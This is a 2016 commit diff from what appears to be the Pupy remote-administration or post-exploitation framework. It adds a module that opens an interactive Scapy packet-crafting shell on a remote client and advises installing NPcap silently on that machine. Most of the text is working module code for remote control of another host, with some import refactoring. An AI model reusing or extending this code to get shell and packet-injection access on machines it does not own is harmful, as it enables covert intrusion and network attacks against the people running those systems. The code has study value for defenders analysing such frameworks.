scapy update&fix + adding scapy module to open a remote scapy shell

This commit is contained in:
n1nj4sec 2016-05-05 16:04:18 +02:00
parent 31f197869d
commit 0c97ab8b83
6 changed files with 60 additions and 6 deletions

View File

@ -1,11 +1,9 @@
# -*- coding: UTF8 -*- # -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from pupylib.PupyModule import *
from pupylib.PupyCompleter import * from pupylib import *
from pupylib.PupyErrors import *
import StringIO import StringIO
from pupylib.utils.rpyc_utils import redirected_stdo
__class_name__="PythonExec" __class_name__="PythonExec"

52
pupy/modules/scapy.py Normal file
View File

@ -0,0 +1,52 @@
# -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
import sys
import subprocess
import threading
import Queue
import time
import readline
from pupylib import *
__class_name__="InteractiveScapyShell"
def enqueue_output(out, queue):
for c in iter(lambda: out.read(1), b""):
queue.put(c)
@config(cat="admin")
class InteractiveScapyShell(PupyModule):
""" open an interactive python shell on the remote client """
max_clients=1
dependencies=['pyshell', 'gzip', 'scapy']
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='scapy', description=self.__doc__)
def run(self, args):
try:
if not self.client.conn.modules["os.path"].exists("C:\\WIndows\\system32\\Packet.dll"):
raise PupyModuleError("WinPcap is not installed !. You should download/upload NPcap (https://github.com/nmap/npcap/releases) and install it silently (with the /S flag) ")
if not self.client.conn.modules['ctypes'].windll.Shell32.IsUserAnAdmin():
self.warning("you are running this module without beeing admin")
with redirected_stdo(self.client.conn):
old_completer=readline.get_completer()
try:
psc=self.client.conn.modules['pyshell.controller'].PyShellController()
readline.set_completer(psc.get_completer())
readline.parse_and_bind('tab: complete')
psc.write("from scapy.all import *")
while True:
cmd=raw_input(">>> ")
psc.write(cmd)
finally:
readline.set_completer(old_completer)
readline.parse_and_bind('tab: complete')
except KeyboardInterrupt:
pass

BIN
pupy/packages/all/gzip.pyc Normal file

Binary file not shown.

View File

@ -1 +1 @@
../src/scapy/scapy/ ../src/scapy/scapy

@ -1 +1 @@
Subproject commit 7a546611c39d4a37e34cafb27625ffa64ed89836 Subproject commit 75d334fa7ec5b09af84fefe2093ceacd70a2ebe3

View File

@ -0,0 +1,4 @@
from PupyErrors import *
from PupyModule import *
from PupyCompleter import *
from utils.rpyc_utils import *